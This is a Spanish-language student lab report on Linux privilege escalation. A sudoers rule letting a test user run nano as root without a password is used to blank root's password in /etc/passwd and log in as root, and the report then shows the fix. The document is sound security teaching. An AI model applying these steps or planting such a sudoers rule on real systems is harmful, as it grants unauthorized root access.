

TECNOLÓGICO NACIONAL DE MÉXICO

INSTITUTO TECNOLÓGICO DE SALTILLO

Materia: Cómputo en la nube

Hora clase: 7:00am - 8:00am

Actividad 4.1 – Desarrollar la práctica de escalada de privilegios en Linux usando sudo.

Cesar Gabriel Rodriguez Aguilera

No. Control: 21051501

Fecha: 05/03/2026

Capturas de pantalla

Parte 1: Identificación de la vulnerabilidad

1.1 Preparación del entorno:

- Crea un usuario con permisos limitados llamado `usuario_test`:

```
sudo adduser usuario_test
```

```
sudo passwd usuario_test
```

Edita el archivo `/etc/sudoers` para agregar una configuración insegura que permita a `usuario_test` ejecutar un editor de texto con permisos de `sudo` sin necesidad de ingresar contraseña. Agrega la siguiente línea al final del archivo `/etc/sudoers`:

```
usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano
```

```
# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"

# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"

# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano
```

1.2 Escenario vulnerable:

- Inicia sesión como usuario_test:

su - usuario_test

- Verifica si puedes ejecutar nano como root sin pedir contraseña:

sudo nano /etc/passwd

```
cesar@svr-web:~$ su - usuario_test
Password:
usuario_test@svr-web:~$ sudo nano password /etc/passwd
sudo: unable to resolve host svr-web: Name or service not known
```

2 Explotación de la vulnerabilidad:

- Abre el archivo /etc/passwd con nano usando sudo:

sudo nano /etc/passwd

- Cambia la línea del usuario root para que no requiera una contraseña.

Busca la línea que comienza con root y cambia la entrada de contraseña:

root:x:0:0:root:/root:/bin/bash

Por:

root::0:0:root:/root:/bin/bash

- Guardar el archivo y salir. Ahora puedes iniciar sesión como root sin ingresar una contraseña.

```
cesar@svr-web:~$ sudo cat /etc/passwd
sudo: unable to resolve host svr-web: Name or service not known
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
cesar:x:1000:1000:cesar,,,:/home/cesar:/bin/bash
mysql:x:101:105:MariaDB Server:/nonexistent:/bin/false
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
usuario_test:x:1001:1001:,,,:/home/usuario_test:/bin/bash
```

```
Debian GNU/Linux 13 svr-web tty1
svr-web login: root
Linux svr-web 6.12.69+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.69-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@svr-web:~# _
```

Parte 2: Mitigación de la vulnerabilidad

2.1 Restauración del sistema:

- Elimina o corrige la línea en /etc/sudoers que permite la ejecución de nano sin contraseña:

sudo visudo

- Borra la línea:

usuario_test ALL=(ALL) NOPASSWD: /usr/bin/nano

```
# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
```

```
cesar@svr-web:~$ sudo cat /etc/passwd
sudo: unable to resolve host svr-web: Name or service not known
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

Conclusión:

En esta práctica se pudo observar cómo una mala configuración de sudo en Linux puede permitir que un usuario con pocos privilegios obtenga acceso de root. Al permitir ejecutar un editor de texto sin contraseña, fue posible modificar archivos importantes del sistema y escalar privilegios fácilmente. Esto demuestra que una configuración incorrecta puede representar un gran riesgo de seguridad, por lo que es importante controlar bien los permisos de sudo y evitar dar accesos innecesarios a los usuarios.